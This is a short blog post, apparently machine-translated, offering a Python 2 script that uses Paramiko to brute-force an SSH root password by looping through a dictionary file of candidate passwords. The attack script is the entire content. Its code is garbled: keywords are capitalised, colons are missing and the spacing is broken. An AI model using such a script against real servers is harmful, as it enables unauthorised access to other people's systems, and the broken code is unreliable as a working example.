Environment Preparation:
1. Installing the Paramiko module
2, the server SSH service to open port number 22nd
below, please see the code
#!/usr/bin/py
#-*-Coding:utf-8-*-
Import Paramiko
SSH = Paramiko. Sshclient ()#实例化类
Ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ()) #连接时自动回答为yes
d = File ('/root/a.txt ')#字典文件路径
For I in D.xreadlines (): #循环密码字典
i = I.strip () #去掉前后的空格
If not I:#如果值为空则进入下一轮循环
Continue
Try
#开始尝试密码
Ssh.connect (hostname= ' localhost ', port=22, username= ' root ', password=i)
print ' root password is ', I#如果密码正确则打印密码
Break#跳出循环
Except
Continue#如果密码错误则进入下一轮循环
Else
print ' does not crack root password, please change the dictionary to try again ' #如果没有匹配到密码
This article is from the "Automated Operations" blog, please be sure to keep this source http://hongchen99.blog.51cto.com/12534281/1908511
Python Brute force root password